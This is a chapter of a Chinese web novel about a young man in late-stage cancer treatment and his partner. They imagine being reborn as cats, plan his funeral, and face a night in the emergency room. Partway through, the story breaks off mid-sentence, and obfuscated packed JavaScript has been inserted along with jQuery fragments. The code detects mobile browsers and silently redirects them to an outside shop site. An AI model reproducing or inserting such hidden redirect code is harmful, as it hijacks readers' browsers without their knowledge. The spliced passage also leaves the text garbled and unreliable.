苌斓在第十三次化疗结束后的第十七天，开始跟忘海讨论下辈子的事。
那天下午阳光很好，他靠在床头，腿上盖着那条灰色薄毯，手里捧着忘海刚煮好的梨汤。他喝了一口，把杯子放在床头柜上，忽然说：“下辈子我想当一只猫。”
忘海正在把保温杯里剩下的梨汤倒进杯盖里晾凉，听了这话，抬起头看着他。苌斓的表情很认真，不像是在开玩笑。他说，当猫不用写作业，不用上班，不用还房贷，也不用化疗。每天趴在窗台上晒太阳，饿了就喵两声，困了就找个暖和的地方蜷起来睡觉。最重要的是，猫有九条命，用完一条还有八条，不像人，一条命用到一半就开始出各种毛病。他说这话的时候语气很轻松，像是在计划一次很远的旅行。
忘海问他，想当什么样的猫。苌斓想了想，说要当一只橘猫，胖一点，毛长一点，最好是灰白色的——和小灰一样的颜色，但不要和小灰一样短命，要活很久很久。要有一双蓝色的眼睛，和忘海一样的颜色，这样忘海看到那只猫的时候，就会知道是他回来了。
忘海沉默了很长时间。窗外梧桐树的叶子在风里轻轻晃动，阳光从叶子的缝隙间漏下来，落在苌斓摊开的掌心上。他说，橘猫都很胖，他喂不动。苌斓说他不管，他就要当橘猫。忘海低下头，把苌斓的手轻轻握住，说：“好，当橘猫。灰白色的毛，蓝色的眼睛，九条命。我每天给你煮鸡胸肉，切成小块，和你以前喂那只流浪猫一模一样。”
苌斓说：“你还记得那只流浪猫。”忘海说记得——那只橘猫很挑食，只吃鸡胸肉，每次他去看苌斓都要带一保鲜盒切好的鸡胸肉，苌斓每次都把最大的那块给橘猫，自己吃旁边的小块。苌斓低下头看着自己放在被子上的手，无名指上的戒指在阳光下泛着温润的光泽。他说那只橘猫后来不知道去哪了，有一天忽然就不来了，他找了好久也没找到。忘海说：“也许它下辈子也当人了。”苌斓极轻极淡地弯了一下嘴角，说：“那它一定是个很幸福的人，这辈子吃的鸡胸肉够多了，下辈子不用再吃了。”
那天晚上，苌斓靠在忘海肩上，看着窗外那弯细细的月亮。他说：“下辈子我当猫的话，你还要当人吗。”忘海说，他也当猫，当一只黑猫，和他在同一家宠物店里等着被领养。苌斓说，两只猫关在两个笼子里，中间隔着好几排架子，互相看不见怎么办。忘海说，他会叫得很大声，让苌斓听见。苌斓说，宠物店里那么多猫都在叫，他怎么知道哪一声是忘海。忘海想了想，说：“那我就说‘顺路’。顺路的顺，顺路的路。你听到这两个字，就知道是我。”
苌斓看着忘海，看了很久。他说：“顺路。你每次说顺路，其实从来都不顺路。”忘海低下头，把苌斓的手贴在自己嘴唇上。顺路是从高一楼绕到高二楼，是搬家之后每天早上多走好几站路，是这辈子不管苌斓在哪里，他都会跟过去。下辈子也是。
又过了几天，苌斓开始频繁地提起死亡。不是那种沉重的、绝望的谈论，是很平静的、像在安排一次远行之前的准备。他问忘海，如果他走了，骨灰盒放在哪里。忘海正在削梨，手里的水果刀停了一下，然后继续削，说：“你想放在哪里。”苌斓想了想，说想放在阳台的薄荷盆旁边，那里阳光好，能晒到太阳，冬天忘海把薄荷搬进屋里的时候，也能顺便把他也搬进去。忘海说好，但薄荷盆旁边没有多余的位置了，如果再加一个骨灰盒，茶几可能要换个大的。苌斓说不用换，把他的骨灰盒放在紫砂杯旁边就行，和紫砂杯、针线盒、保温杯并排放在一起。忘海沉默了一会儿，说：“好，放在紫砂杯旁边。杯口朝外，骨灰盒也朝外。”
苌斓又说，如果他要死了，不要开追悼会，也不要摆遗像——他不喜欢那张照片，那是化疗前拍的，头发还没长出来。忘海说，不放那张，放高中时在天台上堆雪人那张——两个小雪人靠在一起，一个歪扭一个精致。苌斓说，那张照片里只有雪人没有他。忘海说，雪人就是他们，他们就是雪人。
苌斓没有再说话，只是把头靠回忘海肩上。过了很久，他忽然说：“可是我不想死。”他的声音很轻很轻，轻得像一片落在雪地上的梧桐叶，但忘海听到了。他说，他还有很多事没有做——围巾还没织完，玉兰花还没有看够，凉皮的醋蒜汁还没调出最满意的比例，还没有和忘海一起去看海。但他觉得自己已经撑得够久了——从秋天撑到冬天，从冬天撑到春天，十三次化疗，两次射频消融，无数次骨穿和抽血。他已经很累了。
忘海低下头，把苌斓的手轻轻握住。他说，不想死就不想死，谁说一定要想死，谁规定的——谁说生病的人就必须坦然，谁说撑了这么久就一定要撑到底。不想死是对的，因为活着太好了。豆浆很甜，梨汤很暖，围巾很软，和他在一起的每一天都很好。不想死，那就活着。哪怕多活一天，多喝一杯豆浆，多看一次梧桐叶从绿变黄，都是赚到了。他不想死，忘海也不想他死，那就一起努力活着。
苌斓没有说话，只是把忘海的手指攥在自己掌心里，攥得很紧。窗外梧桐树的叶子在风里沙沙地响，保温杯里的梨汤已经不烫了，紫砂杯安静地立在床头柜上，和骨灰盒之间还隔着一盆薄荷的距离。但那盆薄荷可以挪一挪，茶几上的位置还有很多。离他们要一起去的海边，也还有一段路要走。
几天后的一个傍晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724433|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，苌斓靠在病床上，忽然说想吃烧烤。忘海说化疗期间不能吃烧烤，苌斓说那就闻闻味道。忘海想了想，打开手机，翻出烧烤店的菜单图片，把屏幕举到苌斓面前。第一张是烤串，第二张是烤玉米，第三张是烤生蚝。苌斓看着烤生蚝的图片，咽了一下口水，说闻到了蒜蓉的味道。忘海说，那是图片，闻不到的。苌斓说，能闻到，蒜蓉的香味和生蚝的腥味混在一起，上面还撒了葱花。忘海把图片放大，说还有辣椒碎。苌斓凑近看了一眼，说，不要辣椒。两个人对着手机屏幕“闻”了十多分钟烧烤，把菜单上每一道菜都“尝”了一遍。苌斓说，烤茄子太油，烤馒头太干，烤鸡翅最好吃。忘海说，等他好了带他去吃，点一整盘烤鸡翅，不放辣椒。苌斓说好。
那天夜里，苌斓的病情突然恶化。他开始剧烈地咳嗽，咳出来的血不再是血丝，而是一小口一小口的暗红色血块。氧气面罩被血染红了，换了好几次。医生过来检查后说，肺部的肿瘤开始压迫支气管，需要立即上呼吸机。苌斓被推进抢救室时还清醒着，他透过呼吸机的面罩看着忘海，眼睛睁得很大，和多年前在天台上摔伤后脑勺时一模一样——瞳孔里有恐惧，有不舍，有还没说出口的千言万语。他张了张嘴，呼吸机面罩上喷出一团白雾。他的声音被面罩隔绝了，但忘海读懂了他的唇语。他说：“围巾还没织完。”忘海站在抢救室门口，把手贴在玻璃窗上，也隔着玻璃用唇语说：“等你出来再织。最后几针留着，等你好了自己收尾。”
天快亮的时候，医生从抢救室出来，说情况暂时稳定了，但左肺的感染很严重，接下来的几天会很关键。苌斓被送回病房时还戴着呼吸机，眼睛闭着，睫毛轻轻颤动。忘海坐在床边，把他的手指轻轻握在掌心里，不敢用力，只是极轻极轻地托着，像托着一片随时会被风吹散的蒲公英。窗外天已经蒙蒙亮了，梧桐树的叶子在晨风里轻轻晃动。苌斓睁开眼睛，看到忘海还握着他的手，嘴角极轻极轻地弯了一下。他想说话，但呼吸机面罩挡住了他的嘴唇。他只能用手指在忘海的手背上轻轻划了两下——一下，一下，和很久以前在天台上用指尖写自己的名字时一模一样。这个动作的意思是——我知道你在。
忘海低下头，把苌斓缠着绷带的手贴在自己嘴唇上，贴了很久。他说，豆浆磨好了，红枣八颗，放在保温杯里。围巾还差最后几针，针线盒放在床头柜上。阳台上的薄荷又长高了一截，等他醒了，他们一起去摘薄荷叶泡茶。苌斓闭着眼睛听着，嘴角那丝极淡极淡的弧度没有消失。窗外的天彻底亮了，梧桐树的新叶在晨光里泛着淡金色的光。他还有一条围巾没有织完，还有一片海没有去看。他还要撑下去。